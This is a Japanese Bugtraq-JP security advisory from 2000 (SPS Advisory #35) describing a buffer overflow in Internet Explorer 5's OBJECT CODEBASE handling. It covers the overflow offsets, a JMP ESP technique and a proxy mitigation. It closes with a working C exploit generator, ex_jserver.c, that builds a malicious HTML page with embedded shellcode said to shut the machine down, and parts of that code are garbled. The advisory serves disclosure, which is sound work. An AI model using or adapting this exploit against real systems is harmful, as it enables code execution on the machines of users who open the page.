Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.26 Message-ID: <38F481212DA.2A7ASHADOWPENGUIN@mail.logicaleffect.com> Date: Wed, 12 Apr 2000 22:58:57 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: [SPSadvisory#35]Internet Explorer 5 OBJECT CODEBASE Buffer Overflow X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM UNYUN@ShadowPenguinSecurityです。 Microsoft Internet Explorer 5 に関するセキュリティホールについてご報告致 します。 --- SPS Advisory #35 "Internet Explorer 5 OBJECT CODEBASE Buffer Overflow" ■ 公開日 April 12, 2000 ■ 検証システム/ソフトウエア ・vulnerable Internet Explorer 5.0 (5.00.2919.6307) / Windows98(4.10.1998) ・not vulnerable 不明 ■ 概要 OBJECTタグのCODEBASEに対し、異常な長さの文字列が指定されたHTMLを読み込む とExploitableなBuffer Overflowが発生します。このバッファオーバーフローに より、スタック上のローカルバッファを上書きすることができ、任意のRETアドレ スを設定することができます。このため、文字列中に記述された任意の機械語コー ドがクライアントホスト上で実行される可能性があります。 ■ 危険性 CODEBASE中に攻撃コードが記述されたサイトを閲覧する、あるいは攻撃コードが 記述されたHTMLメールを表示することにより、ウイルスやトロイの木馬感染、シ ステム破壊等の被害を受ける可能性があります。 ■ 問題点詳細 OBJECT CODEBASEの文字列取得にバウンドチェック漏れがあり、CODEBASEに7KB程 度の文字列を記述した HTMLファイルを読み込むことによりバッファオーバーフロー が発生します。以下に例を示します。 このバッファオーバーフローはRETアドレスを上書きし、EIPを制御することがで きます。EIPはバッファオフセット4222に4byte値を格納することにより制御可能 であり、バッファオーバーフロー発生時のESP値はバッファオフセット4400付近を 示しています。このため、kernel32.dll領域等に存在するJMP ESPコード(0xff 0xe4)を利用することにより、スタックエリアに存在するターゲットバッファに EIPを移すことができます。バッファオフセット4400付近はCODEBASEにて指定可能 であり、結果としてCODEBASE中に指定されたコードが実行させることが可能です。 ■ 回避法 CODEBASE長を検査するPROXYサーバを構築する、など。 ■ 注意事項 この情報は予告なく変更される可能性があります。この情報、及びこの情報を用 いることにより引き起こされるあらゆる結果に対して、我々は一切の責任を負い ません。この情報は個人的な実験においてのみ利用することができます。管理権 限のないホスト・ネットワークに対してこの情報を利用した場合、不正アクセス 行為の禁止等に関する法律(第三条第二項第二号、第三号)により罰せられる可能 性があります。 ■ 連絡先 ご提案,コメント等がありましたら、以下にご連絡下さい UNYUN http://shadowpenguin.backsection.net ■ 参考コード 本コードは、電源を切断する攻撃コードが含まれるHTMLファイルを生成します(HTML ファイルは、UNI CODE埋め込みにjava scriptを使用しています)。なお、本コー ドは、Internet Explorer 5.0 (5.00.2919.6307) / Windows98日本語版(4.10.1998) にて検証を行いました。 -- ex_jserver.c #include #include #include #define MAXBUF 7000 #define RETADR 4222 #define CODEADR 4300 #define JMPESP_1 0xff #define JMPESP_2 0xe4 #define NOP 0x90 #define KERNEL_NAME "kernel32.dll" unsigned char exploit_code[200]={ 0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53, 0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3, 0x00 }; #define HTML_FILE \ "\n" char *convert_to_unicode(unsigned char *buf) { static unsigned char r[MAXBUF*3],t[3]; unsigned int i; strcpy(r,""); for (i=0;i>8)&0xff)==0) continue; if (((adr>>16)&0xff)==0) continue; if (((adr>>24)&0xff)==0) continue; return(adr); } return(0); } main(int argc,char *argv[]) { unsigned int i,kp,ip,p; unsigned int pretadr; static unsigned char buf[MAXBUF],*q; FILE *fp; MEMORY_BASIC_INFORMATION meminfo; if (argc<2){ printf("usage: %s HTML-Filename\n",argv[0]); exit(1); } if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){ printf("Can not find %s\n",KERNEL_NAME); exit(1); } VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION)); pretadr=0; for (i=0;i>8 )&0xff)==0 || ((p>>16)&0xff)==0 || ((p>>24)&0xff)==0) continue; if (*((unsigned char *)p)==JMPESP_1 && *(((unsigned char *)p)+1)==JMPESP_2) pretadr=p; } printf("RETADR : %x\n",pretadr); if (pretadr==0){ printf("Can not find codes which are used by exploit.\n"); exit(1); } if ((fp=fopen(argv[1],"w"))==NULL){ printf("Can not write to \"%s\"\n",argv[1]); exit(1); } memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0; ip=pretadr; buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; memcpy(buf+CODEADR,exploit_code,strlen(exploit_code)); fprintf(fp,HTML_FILE,convert_to_unicode(buf)); fclose(fp); printf("Done.\n"); return FALSE; } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com